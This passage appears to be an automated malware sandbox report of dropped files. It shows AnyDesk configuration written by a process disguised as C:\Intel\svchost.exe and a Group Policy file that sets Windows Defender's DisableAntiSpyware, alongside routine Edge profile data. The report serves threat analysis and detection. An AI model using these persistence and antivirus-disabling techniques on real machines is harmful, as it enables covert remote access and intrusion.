Preview:	ad.anynet.cert=-----BEGIN CERTIFICATE-----\nMIICqDCCAZACAQEwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UEAwwOQW55RGVzayBD\nbGllbnQwIBcNMjUwMTExMDY1NDA0WhgPMjA3NDEyMzAwNjU0MDRaMBkxFzAVBgNV\nBAMMDkFueURlc2sgQ2xpZW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC\nAQEAzs6638lYDHR0ZtDEfYNyAkVJzE+5oQPMFoHxDMrAdSPtJRrC1Olq0Oj3n5D1\nss1CgVkvP3pJQ4MorcgHj/IJBIdLd4X4xkTfH1/H+GMhAj+O3TqRCJhXFg2jBW7N\n7yH7/8iXoVfbpSTgqMkI2W71HQRNRSzUKKI5SYfhEB3fMvmoIeQ3lCJXIBSmmURb\ndV5tvfdwJ2f3g9DdlbsgCxz2EMyCKb80mdeEZd+OFMX0UPqyO0EmHE4cBc122NXc\n/+cb4kDLD8phZwvhYPvjqs1vAale83dX1t96ILHdwWBe1WsfUZ76jrDNXZWg8UOH\nULU7Q7NdllgLOMhDrn8SawG/pQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQBHn5t4\nEiPskchVzlXJG9u7XI9RXiNrDx0nZRmeMEC46wL6GEydO0dep8b8pStwXdXPnqLA\n8eWH/InOlChqKFExznhhHHiDCYLb1tin6/bJ57r706AS/wkm0FuyDgqHAY5NKU41\n8NeduIECUmb18oET/QZ4z8xOCf7fSA181msccAgkSNnZxUnBhmtpjxZ0GxNwCCJV\nNjLI03UpsF5qkJmssnqq487BA+sKXiFnF6IKmJMgsePvV2YTfPvRUXquPEM1qPM0\nzCTTdPG528HMdKLn6cjOl93S/g3Yj0ylyv0kosDtDm+gPNBwSF/BxyxccdNnHflu\ntqH9slr6BBz1L6Z7\n-----END CERTI

C:\Users\user\AppData\Roaming\AnyDesk\system.conf

Download File

Process:	C:\Intel\svchost.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	468
Entropy (8bit):	4.614188348356847
Encrypted:	false
SSDEEP:	6:owBgpWyWyxy+iraqQAmvbahHtnoILw6QgRQUQgRQPYQgRQOYQgfxPZxi3B6QgfxL:oiqyPmqQHvWhtCroBGgFBGt
MD5:	847F614D0EFFC40FAF103A5BA588CFDC
SHA1:	C78AE555D6559D8DAEB487E223B60EC5A01A0CFF
SHA-256:	091CE4C2CAC292BA1F43526AF242F87B303BC772C89496D2921F5986B54DA862
SHA-512:	41D47FB9006B6649C3D5A236E51011170A3915113863CA53387798F716EC1BC70449EB92ED16643316C965ED187A64EF7D82039FAC75BF4392D90CCE7B29BD2C
Malicious:	false
Preview:	ad.anynet.fpr=d26194f28cdb9e152936db02d15aa168b534e57d.ad.anynet.relay.fatal_result=1.0.ad.anynet.relay.state=1.ad.inst.id=4d843a8b11bc55a386a4bafec1512d4f.ad.security.frontend_clipboard=1.ad.security.frontend_clipboard_files=1.ad.security.frontend_clipboard_version=1.ad.security.permission_profiles._default.permissions.sas=1.ad.security.permission_profiles._unattended_access.permissions.sas=1.ad.security.permission_profiles.version=1.ad.security.update_version=1.

C:\Users\user\AppData\Roaming\AnyDesk\user.conf

Download File

Process:	C:\Intel\svchost.exe
File Type:	ASCII text, with very long lines (3453)
Category:	modified
Size (bytes):	6408
Entropy (8bit):	4.358586849874255
Encrypted:	false
SSDEEP:	192:4rWKt1pW+OgAq44/j1iAQylObdWNcKgnGyXE02ss:QJAq4u/QylOx4wnGVss
MD5:	197F0BDB9F710E53FE3C661DD5999C2A
SHA1:	A4633FE3D6817B1CD47F6B4CEBDF906D29454EBC
SHA-256:	5760080AD26E4A9AFBCD71A2E0F6ACCCC183A6066B02852190F5909C1EB9BAE1
SHA-512:	BBEDD500CDF64954F40782BA57901FF14D6B9BDB89236BB9C7F064E47F85B8FA69B16C92E220C13E8C329E814B70EF5414846904DF55A273FE35FCAF1E4D14E3
Malicious:	false
Preview:	ad.account.auth_methods=6fa74c609a01f31f1f670668df954f4642a4aae8018a18da2497ff19ef962effbfac453f209235070ff648310f1fa2df0b53d2e90e4e008262013ecaea92376de347806ab00f027a258e3a2dec31278ce0d19837ad8175383fe7fef432fcc27374ab0862b47b212f41cf5778b89c93b1b262c7e5f431c17b74b0ed97a125b2661ede8bf0de5fcb5c448b16ca1e265470f0d9c3d484f3d560a616a124452c2ca2f062806804e94c3a59d85dbceb1af67b5aa0e906af11451fa81dbb44b94d69ae0f92b232c3c12b26568f6e2527d4c79ef8003c8ef7348c967c19f8d20d98300521bd3cc926a0.ad.account.info=6fa74c609a01f31f1f670668df954f4642a4aae8018a18da2497ff19ef962effbfac453f209235070ff648310f1fa2df0b53d2e90e4e008262013ecaea929df07710e7cde5261fd2c90c13377f76381a95046694624fab2c0e3c95582d08c27374ab0862b47b212f41cf5778b89cb2ae4743b1dcc71310fd983fd62ad3140dda322f396b76fdeab44102beb9f8046470f0d9cc1f76353069af62c49b84d1a2b19303a56dc43e26a46806d05aebcba704064e11cc97f0e821bb868a1b58e2547c70d17a84494a1b5acb2a51e7256429eb926102b5187a981770d5738eb76510fa135d78eb7a2d6e011eb910eeab118ef748f09efc1850.ad.acc

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\75fdacd8330bac18.customDestinations-ms (copy)

Download File

Process:	C:\Intel\AnyDesk\AnyDesk.exe
File Type:	data
Category:	dropped
Size (bytes):	3432
Entropy (8bit):	3.151736712797483
Encrypted:	false
SSDEEP:	24:AMd4zAzA2mQ9vZDqDfWoymQMd4zAYA/n6vZDqbjDymb:Wv2lhQDeoyBEvEQryA
MD5:	2D409869B1C7823970C404AABC0676AD
SHA1:	7850A5B1D3281C40A696329E8C80A017C41B11C7
SHA-256:	4B030F627D13B9086C855EEAF983BCC52BE107435036CDA4D0F78A60D6291801
SHA-512:	2730381F6DB703DFE822CC7186FE0795B9B5D7B6EC461F2107A22F1120E5893512F7F6B01299DD32BE462024F9879F57B200497CB806779996E143F5489AFFF6
Malicious:	false
Preview:	...................................FL..................F.@.. ...z...c...K..c......c...ZQ.....................7....P.O. .:i.....+00.../C:\...................P.1.....+Z.6..Intel.<.......S.f+Z.6.....c........................I.n.t.e.l.....V.1.....+Z.6..AnyDesk.@......+Z.6+Z.6.....;......................G.A.n.y.D.e.s.k.....b.2..ZQ.+Z.6 .AnyDesk.exe.H......+Z.6+Z.6....\|j........................A.n.y.D.e.s.k...e.x.e.......K...............-.......J............$......C:\Intel\AnyDesk\AnyDesk.exe....O.p.e.n. .a. .n.e.w. .A.n.y.D.e.s.k. .w.i.n.d.o.w.....C.:.\.I.n.t.e.l.\.A.n.y.D.e.s.k.\.A.n.y.D.e.s.k...e.x.e.........%SystemDrive%\Intel\AnyDesk\AnyDesk.exe.............................................................................................................................................................................................................................%.S.y.s.t.e.m.D.r.i.v.e.%.\.I.n.t.e.l.\.A.n.y.D.e.s.k.\.A.n.y.D.e.s.k...e.x.e...........................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TB7Q4JHKC0AEZKHH1GCV.temp

Download File

Process:	C:\Intel\AnyDesk\AnyDesk.exe
File Type:	data
Category:	dropped
Size (bytes):	3432
Entropy (8bit):	3.151736712797483
Encrypted:	false
SSDEEP:	24:AMd4zAzA2mQ9vZDqDfWoymQMd4zAYA/n6vZDqbjDymb:Wv2lhQDeoyBEvEQryA
MD5:	2D409869B1C7823970C404AABC0676AD
SHA1:	7850A5B1D3281C40A696329E8C80A017C41B11C7
SHA-256:	4B030F627D13B9086C855EEAF983BCC52BE107435036CDA4D0F78A60D6291801
SHA-512:	2730381F6DB703DFE822CC7186FE0795B9B5D7B6EC461F2107A22F1120E5893512F7F6B01299DD32BE462024F9879F57B200497CB806779996E143F5489AFFF6
Malicious:	false
Preview:	...................................FL..................F.@.. ...z...c...K..c......c...ZQ.....................7....P.O. .:i.....+00.../C:\...................P.1.....+Z.6..Intel.<.......S.f+Z.6.....c........................I.n.t.e.l.....V.1.....+Z.6..AnyDesk.@......+Z.6+Z.6.....;......................G.A.n.y.D.e.s.k.....b.2..ZQ.+Z.6 .AnyDesk.exe.H......+Z.6+Z.6....\|j........................A.n.y.D.e.s.k...e.x.e.......K...............-.......J............$......C:\Intel\AnyDesk\AnyDesk.exe....O.p.e.n. .a. .n.e.w. .A.n.y.D.e.s.k. .w.i.n.d.o.w.....C.:.\.I.n.t.e.l.\.A.n.y.D.e.s.k.\.A.n.y.D.e.s.k...e.x.e.........%SystemDrive%\Intel\AnyDesk\AnyDesk.exe.............................................................................................................................................................................................................................%.S.y.s.t.e.m.D.r.i.v.e.%.\.I.n.t.e.l.\.A.n.y.D.e.s.k.\.A.n.y.D.e.s.k...e.x.e...........................................

C:\Windows\System32\GroupPolicy\Machine\Registry.pol

Download File

Process:	C:\Intel\dc.exe
File Type:	RAGE Package Format (RPF),
Category:	dropped
Size (bytes):	160
Entropy (8bit):	3.218156819855109
Encrypted:	false
SSDEEP:	3:CFlE3A5l1QTal7BcNylRjlyWdl+SliFlhakDBu8hfe1l3W0UJlAll+ll6zll6slG:CFlEESOllcHWn+SkUkDk8hfe18U+/6ze
MD5:	58F8EB09A822C09FC11F5A42BAAE36F1
SHA1:	9E7063EEEE62C8588E0020BEF3A116E9379966AA
SHA-256:	6509C7FC4FA70391399831BBC3D66206D3F6F8F2BB20FFCAC4E04844861D733A
SHA-512:	53806780934BD86BB032EE4A515DFC0E8464A5ECC5F4C8C593304FCD969C1058D443BDEC54E7AE21469ADB942B16693CC9EAF997217ADC69D3618AB0EC99DC1E
Malicious:	false
Preview:	PReg....[.S.o.f.t.w.a.r.e.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r...;.D.i.s.a.b.l.e.A.n.t.i.S.p.y.w.a.r.e...;.....;.....;.....].

C:\Windows\System32\GroupPolicy\gpt.ini

Download File

Process:	C:\Intel\dc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	267
Entropy (8bit):	4.830707279954051
Encrypted:	false
SSDEEP:	6:1WsMzYHxbnnXO/GGG/Rn5Rnn3R0MzYHxbnn/JIAuNhUHdhJgN:1q0HxbnXOMB1d0Hxbn/JnumuN
MD5:	CD9A20D6270A6D99C19CEBFE937339E6
SHA1:	27D7783117CCA63F5274756909E3DC6C43985079
SHA-256:	2D1BBF666E3DBF853D45D60EB2B0E3033BACF59A5FFDE99D3CF5B642ED19E51E
SHA-512:	53F4CB2206FFB25339ED467206A6D542357049098B27901CECFF5814018341EA500DE3A5B40BBA4FFEF73E0008C73CBC075A1114D86903B432373C8AEC408210
Malicious:	true
Preview:	[General]..gPCMachineExtensionNames=[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{00000000-0000-0000-0000-000000000000}{D02B1F72-3407-48AE-BA88-E8213C6761F1}]..Version=3..gPCUserExtensionNames=[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957E-509E-11D1-A7CC-0000F87571E3}]..

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\3c2ef124-1048-4984-9f26-ddfeb12ce27d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3441
Entropy (8bit):	5.25119335378785
Encrypted:	false
SSDEEP:	96:BUGkffrzdXH58rh/cI9URoDotohQwmvAxXve4mhJu:G7QeoDUCXB
MD5:	A3F8E89871E85CE22BDF7F5D9F16E184
SHA1:	CBC52D4C0C091524506EBBE5ED5A198355EE7B40
SHA-256:	D769FCDFF7BC11D8A6ACCA1FE26C756B9673C42C6BFB1FDD59726C6A62498866
SHA-512:	BE0797B01716CAA03B2BC571610FB3E44F8CFB9B3ECB3EBDD2CFB1690D554EDEBDCA9E73CFD2B4EB1FF468CF90213CCB6C0E4C4BA2B5B4B248BCE20A4A9BDF96
Malicious:	false
Preview:	{"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fre":{"oem_bookmarks_set":true},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"94.0.992.31","last_edgeuwp_pin_migration_on_os_version":"10 Version 20H2 (Build 19042.1165)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA2onF6G1EeQY3BWQJxxWnlEAAAAAoAAABFAGQAZwBlAAAAEGYAAAABAAAgAAAAMmSaSDLMl2ilMZ5cJoyMlNmScsQ5OsudNoE/18DiLYYAAAAADoAAAAACAAAgAAAATZ6UmnaZy++zgp+t3TFXMSN1TFQQxl3ZwEZWMMQBmuQwAAAAoELchcTtgpOFUoy4eul5WuLR63wJEuwEcJcuTQXVbH5y7VsOMq6FE0XckxKvvPDIQAAAAJLfogvHEVPFOa//1PTZN64wL34LfIVgnTTjZc2QcmMhjj1l6U8iKdo7AVTuAtiMMa0JQbYfczMBkOC6L+iP1gU="},"policy":{"last_statistics_update":"1338

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\5a797d07-8d5b-4e7c-92af-7a3fbfcef4b2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11575
Entropy (8bit):	5.57042766004104
Encrypted:	false
SSDEEP:	192:uhoCL/Pgu90RZj8Sr6FA4ZiIxuERzA83h09RZxAexumNstoDU9o66XXgZJZK8Hiy:q9iIxuERzA83h09RZxD5gyXgZrK8GCn
MD5:	DDA51D75EDF661CB248ABCDAC41DAEC6
SHA1:	D71AC47F7B517FB503FBFEB2BE9DF469EB54C460
SHA-256:	B53331AF70A91E0C4C890A33CF2433DEA06368AF7111F809D826D0B8143A77C7
SHA-512:	686DDEB43AEDEC0AC35A354EE6AD6413BF56FD42252062465906762E02A9D5C07F9DB22CBFE7C41D5A6DDDCBA703CEE4986359BC73F4CE5F454E4CBD25F9632A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"94.0.992.31","browser_version_of_last_seen_whats_new":"94.0.992.31","last_redirect_origin":"","last_seen_whats_new_page_version":"94.0.992.31","last_whats_new_version":94},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"external_config_domain_actions":{"cdm_override":{"applications":[{"applied_policy":"OnlyExposePlayReady","domain":"sling.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tou.tv"},{"applied_policy":"OnlyExposeWidevine","domain":"maxdome.de"},{"applied_policy":"OnlyExposeWidevine","domain":"abc.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tv.apple.com"},{"applied_policy":"OnlyExposeWidevine","domain":"la7.it"},{"applied_policy":"OnlyExpo

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\5c07473f-281c-45cb-bea7-aab2092a1778.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2202
Entropy (8bit):	5.305743169749667
Encrypted:	false
SSDEEP:	48:YnOBhmo05ffPHDiiP1XKsV5lXUZPsvBi/vRVe4WnhJa:BjMffrzdXHr0EvAxVe4mhJa
MD5:	8D538FD656183C7004CFB4E8689D5583
SHA1:	E511FA3B1EC7CA0C2BA429C7CF74D3FB93F0C384
SHA-256:	2EDDEDA7255A6FEAE71B749337548CF3BE25C213EF9B8AB6597F6004F23543C4
SHA-512:	A87D2DE8133BF54AA5073DB8B1622B7D03D5F52D93615950C49E736BEEAC02E21DB785A4FF8270633445B6BA9EFBBFE7E1A84230AC30B2E09A222A9738188539
Malicious:	false
Preview:	{"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA2onF6G1EeQY3BWQJxxWnlEAAAAAoAAABFAGQAZwBlAAAAEGYAAAABAAAgAAAAMmSaSDLMl2ilMZ5cJoyMlNmScsQ5OsudNoE/18DiLYYAAAAADoAAAAACAAAgAAAATZ6UmnaZy++zgp+t3TFXMSN1TFQQxl3ZwEZWMMQBmuQwAAAAoELchcTtgpOFUoy4eul5WuLR63wJEuwEcJcuTQXVbH5y7VsOMq6FE0XckxKvvPDIQAAAAJLfogvHEVPFOa//1PTZN64wL34LfIVgnTTjZc2QcmMhjj1l6U8iKdo7AVTuAtiMMa0JQbYfczMBkOC6L+iP1gU="},"policy":{"last_statistics_update":"13381052064408370"},"profile":{"info_cache":{},"profile_counts_reported":"13381052064141985"},"profile_network_context_service":{"http_cache_finch_experiment_groups":"None None None"},"profiles":{"edge":{"implicit_signin":{"telemetry

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\74831cd8-25de-47b8-b66a-86261e4ffdf1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11497
Entropy (8bit):	5.574012959274108
Encrypted:	false
SSDEEP:	192:uhoCL/Pgu90RZj8Sr6FA4ZiIxuERzA83h09RZxAexumNptoDU9o66XXgZJZK8Hiy:q9iIxuERzA83h09RZxDqgyXgZrK8GCn
MD5:	8724A29DDC4A79406825AFF15A1E0D1A
SHA1:	5E18FA2C4F14DA7377837E385CA4C3D3C6C17029
SHA-256:	184B0384909E8D9741C514B202C2A5C5BAFB6756B714A8866C5254086F6C017B
SHA-512:	350D7A64D4F080984BFEA9DDB57B35C93DB75B6E13F7E582AA0939F17B50609B995496A8A2245264458ACF10DE6BA7A798812E6918329E29B700A41F2190794B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"94.0.992.31","browser_version_of_last_seen_whats_new":"94.0.992.31","last_redirect_origin":"","last_seen_whats_new_page_version":"94.0.992.31","last_whats_new_version":94},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"external_config_domain_actions":{"cdm_override":{"applications":[{"applied_policy":"OnlyExposePlayReady","domain":"sling.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tou.tv"},{"applied_policy":"OnlyExposeWidevine","domain":"maxdome.de"},{"applied_policy":"OnlyExposeWidevine","domain":"abc.com"},{"applied_policy":"OnlyExposeWidevine","domain":"tv.apple.com"},{"applied_policy":"OnlyExposeWidevine","domain":"la7.it"},{"applied_policy":"OnlyExpo

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\4c8cad45-196d-4217-b0ab-447e9c6b9df0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640155433808841
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7Y:fwUQC5VwBIiElEd2K57P7Y
MD5:	837404F06A30C16EEA2E533893485018
SHA1:	202AFC7B20C0F0F68E0454958E3D10962C5D7B6C
SHA-256:	2CC9F07BADD952512A931D682D88F86B3546DFB75B7BB62AD7F4C64155647178
SHA-512:	292B60D13E446E114A22888863E382CED131E4E1824A1D2B6C71589409255C03E5A676CEBEB4224366599C3DD957A29E55736C1DE64DF7E25CEF45D3F9DC661D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6782159F-1D6C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.28094476209114055
Encrypted:	false
SSDEEP:	1536:Z8iEkuJ/Y56oSIbuCGNXcnumBFRD3JRGrpkGGwXRGg1DR0SRG:Z8iEkuy56wCXwumBFRD3uNbwg1Ob
MD5:	3346F4806483982A614843FDB56B9B33
SHA1:	36C3B076BF9F158877988733399B8A28FF7382D0
SHA-256:	2963D3B500B7215C4A3C09E2F6F7F4A313B79F1EB5699CF592BFB90A0DAC6AC5
SHA-512:	760A99C22CD4DD812896A1F3666C74A659F7C1C09EE509B1CBBA1F1D235B2357CE32A77E9CFE84F616DA79EAF13ED23E637DB51EB3B4C7A0F3F2A40657CA59A4
Malicious:	false
Preview:	...@..@...@.....C.].....@................x...x..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0......C<>.Z...................C<>.Z..................UMA.PersistentHistograms.DriveType......8...i.y.[".................................................i.y..Yd........A...........................7o.I'.Y.".4.............8o.I'.Y.................UMA.PersistentHistograms.HistogramsInStartupFile........ ...i.y.......7o.I'.Y..C<>.... ...i.y.......7o.I'.Y.7o.I........i.y..Yd........A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.........i.y.Pq.3................94.0.992.31-64".en-US*...Windows NT..10.0.1904224..x86_64..\|........".To Be Filled By O.E.M....x86_64P......................>.2...:..............@..<...%...msAutoToggleMSAPrtSSOForNonMSAProfile.......triggered....4..0.......msEdgeContinuousChromeImport....triggered....0..,.......msAutoplayLimitDefault......triggered....,..(.......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\449b6e7f-5636-42fd-8860-a4442803978d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23768
Entropy (8bit):	5.594142406778069
Encrypted:	false
SSDEEP:	384:ySfCt2FRKhOObJ+UoAYDCx9TuqZz0VfUCh7xbog/OVtLlG9yCxrUl8fpFIOIjuk:y4WKR8F1+UoAYDCx9Tuqh0VfUC9xboge
MD5:	C877B4142C6D0DE2096BEBBABAFF7929
SHA1:	ED78B5093C5AB2433BFA8D2A541103098FD27669
SHA-256:	7434ACB5C81BAB3D6933E83C104F160C0B91AF1AF7844368E7645AECFF162423
SHA-512:	9EAECA82F4BC50B9BCC1B7113B6ABC2A15108466DDFFF7C7AB538D3E86FE01FBDFEF808034FA922C3B68A101AACFACC27C45F6F1E908F1BCD463E0E9662B7544
Malicious:	false
Preview:	{"extensions":{"settings":{"ampmimodbocknpfehkbdjolnnbongejb":{"disable_reasons":1,"state":0},"dgiklkfkllikcanfonkcabmbdfmgleag":{"active_permissions":{"api":[],"manifest_permissions":[]},"commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13381052066563424","location":5,"manifest":{"content_capabilities":{"include_globs":["https://excel.officeapps.live.com/","https://onenote.officeapps.live.com/","https://powerpoint.officeapps.live.com/","https://word-edit.officeapps.live.com/","https://excel.partner.officewebapps.cn/","https://onenote.partner.officewebapps.cn/","https://powerpoint.partner.officewebapps.cn/","https://word-edit.partner.officewebapps.cn/","https://excel.gov.online.office365.us/","https://onenote.gov.online.office365.us/","https://powerpoint.gov.online.office365.us/","https://word-edit.gov.online.office365.us/","htt

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\519629a3-ef42-45a8-80a4-1ef3c9ab0f55.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4991
Entropy (8bit):	4.853640247679089
Encrypted:	false
SSDEEP:	96:nonz1XFZ1aPjS+wwiIMti+NmdeHP7kGVWQyV+VDCzimF:no1EO+YI3+vIG6h
MD5:	2BB63119A980829FDECEF22D774FF9A7
SHA1:	160EBBBEA4591AFADF480830250721FB438D14F6
SHA-256:	81F5C6866FB40C5719ED93588CA41C83625584A3CF97BD5F8C28F6999C7A983C
SHA-512:	46C4B072472085A0E4C7DC6D176CCECF8D2EA877C911057BF80F4F7069439999BEA32F2F09A9A6F1C6A59DD9532E5BA8B89C7563494335A1F109BF357AF7BB42
Malicious:	false
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13381052067045495","alternate_error_pages":{"backup":true},"autofill":{"orphan_rows_removed":true},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"window_placement":{"bottom":758,"left":10,"maximized":true,"right":1014,"top":10,"work_area_bottom":768,"work_area_left":0,"work_area_right":1024,"work_area_top":0}},"browser_content_container_height":665,"browser_content_container_width":1024,"browser_content_container_x":0,"browser_content_container_y":103,"countryid_at_install":21843,"custom_links":{"list":[]},"data_reduction":{"this_week_number":2871},"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13381052067045053"},"download":{"default_directory":""},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_sitelist_location":"","consumer_sitelist_version":"","shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_e

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\6c9220cc-d203-41ca-ad88-6712ed1838ea.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (10950), with no line terminators
Category:	dropped
Size (bytes):	10952
Entropy (8bit):	5.436777880408381
Encrypted:	false
SSDEEP:	192:ngOrMzEOCYmL2glV0TkZBsI3+9uHTYpMrQ0KZQlYX+2I16O:ngOrAEOAljoIng+
MD5:	26BD2BEEFD8BC1A6FF402DC423AC4E90
SHA1:	034F433FBBA559B544ACB2047DE9B64C84E818A4
SHA-256:	C5F2236A084EDB9F0E781F71B5E522E5069F3A0B736C8ADEA576A77A4010B4D6
SHA-512:	0B55384B6B594655A84CCB99164959066D5BB787EDE0491209806FC740964A6BE2E10178CC7321AC057A8C2D8E82CFBA175002D8F993E4B6E75E8499E66AAF28
Malicious:	false
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13381052067045495","alternate_error_pages":{"backup":true},"autocomplete":{"retention_policy_last_version":94},"autofill":{"orphan_rows_removed":true},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"window_placement":{"bottom":758,"left":10,"maximized":true,"right":1014,"top":10,"work_area_bottom":768,"work_area_left":0,"work_area_right":1024,"work_area_top":0}},"browser_content_container_height":665,"browser_content_container_width":1024,"browser_content_container_x":0,"browser_content_container_y":103,"countryid_at_install":21843,"custom_links":{"list":[]},"data_reduction":{"this_week_number":2871,"this_week_services_downstream_foreground_kb":{"109536380":106,"112189210":0,"113604596":3,"12038966":85,"41274743":1,"67541500":5,"70858119":1}},"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13381052067045053"},"download":{"default_directory":""},"dual_engi

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\75387db4-416b-4965-9d86-de9deab1a890.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	MS Windows icon resource - 8 icons, 16x16, 32 bits/pixel, 20x20, 32 bits/pixel
Category:	dropped
Size (bytes):	71757
Entropy (8bit):	6.771708343960135
Encrypted:	false
SSDEEP:	1536:vAlMWz7vLDtDSVlXXwpFlorgLUxF+D4n6owPFCawP/:vvuWAUxFaoGw/
MD5:	E5E3377341056643B0494B6842C0B544
SHA1:	D53FD8E256EC9D5CEF8EF5387872E544A2DF9108
SHA-256:	E23040951E464B53B84B11C3466BBD4707A009018819F9AD2A79D1B0B309BC25
SHA-512:	83F09E48D009A5CF83FA9AA8F28187F7F4202C84E2D0D6E5806C468F4A24B2478B73077381D2A21C89AA64884DF3C56E8DC94EB4AD2D6A8085AC2FEB1E26C2EF
Malicious:	false
